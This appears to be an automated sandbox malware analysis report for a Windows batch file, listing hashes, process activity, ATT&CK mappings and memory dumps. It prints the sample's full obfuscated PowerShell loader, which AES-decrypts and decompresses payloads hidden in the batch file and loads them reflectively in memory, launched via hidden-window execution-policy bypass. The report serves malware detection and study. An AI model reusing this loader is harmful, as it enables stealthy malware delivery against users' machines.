9eb06cfb9cd881338d93b6e2cad6e6a4bd823c44d0128a047e85fa14f278e76c

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
24-05-2024 17:46

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General

Target

m16XClientn.bat
Size

60KB
MD5

322ea0b2359b53869e96a92ce89f0d9e
SHA1

c175334e858e2e6761202e7546201b26faefb911
SHA256

9eb06cfb9cd881338d93b6e2cad6e6a4bd823c44d0128a047e85fa14f278e76c
SHA512

080bb6189372bf55e533923a8f7cad393ecaccccff23ce578efe7104cc76779320faa43aa6b27fc43e63e0ea15f246ff38fccc91b5ebe6c5d4476daabde38c8f
SSDEEP

1536:qHRDZwBvoIeYCOoeK9PlcXmmHaoifEJ0SzAw:qHRDZwRN0cXGcJ0xw

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1184 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1184 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1184 powershell.exe

pid	process
1184	powershell.exe

pid	process
1184	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1184	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2156 wrote to memory of 2240	2156	cmd.exe	cmd.exe
PID 2156 wrote to memory of 2240	2156	cmd.exe	cmd.exe
PID 2156 wrote to memory of 2240	2156	cmd.exe	cmd.exe
PID 2156 wrote to memory of 1184	2156	cmd.exe	powershell.exe
PID 2156 wrote to memory of 1184	2156	cmd.exe	powershell.exe
PID 2156 wrote to memory of 1184	2156	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\m16XClientn.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2156

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('B9b88R1T4CVo1WoTI+/W1BysqGk+qehh5RByOsn7XiU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lcCPo+xF8g8/Cxxizm+V4A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rkxQO=New-Object System.IO.MemoryStream(,$param_var); $FvJOV=New-Object System.IO.MemoryStream; $OPzQw=New-Object System.IO.Compression.GZipStream($rkxQO, [IO.Compression.CompressionMode]::Decompress); $OPzQw.CopyTo($FvJOV); $OPzQw.Dispose(); $rkxQO.Dispose(); $FvJOV.Dispose(); $FvJOV.ToArray();}function execute_function($param_var,$param2_var){ $dLJDy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rrYOP=$dLJDy.EntryPoint; $rrYOP.Invoke($null, $param2_var);}$MGRmn = 'C:\Users\Admin\AppData\Local\Temp\m16XClientn.bat';$host.UI.RawUI.WindowTitle = $MGRmn;$RZrKP=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($MGRmn).Split([Environment]::NewLine);foreach ($kOWJS in $RZrKP) { if ($kOWJS.StartsWith('vGMencdustGzyGaJrmyt')) { $UphAS=$kOWJS.Substring(20); break; }}$payloads_var=[string[]]$UphAS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1184

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/1184-4-0x000007FEF592E000-0x000007FEF592F000-memory.dmp

Filesize
4KB

Download
memory/1184-5-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/1184-7-0x000007FEF5670000-0x000007FEF600D000-memory.dmp

Filesize
9.6MB

Download
memory/1184-6-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/1184-8-0x000007FEF5670000-0x000007FEF600D000-memory.dmp

Filesize
9.6MB

Download
memory/1184-9-0x000007FEF5670000-0x000007FEF600D000-memory.dmp

Filesize
9.6MB

Download
memory/1184-10-0x000007FEF5670000-0x000007FEF600D000-memory.dmp

Filesize
9.6MB

Download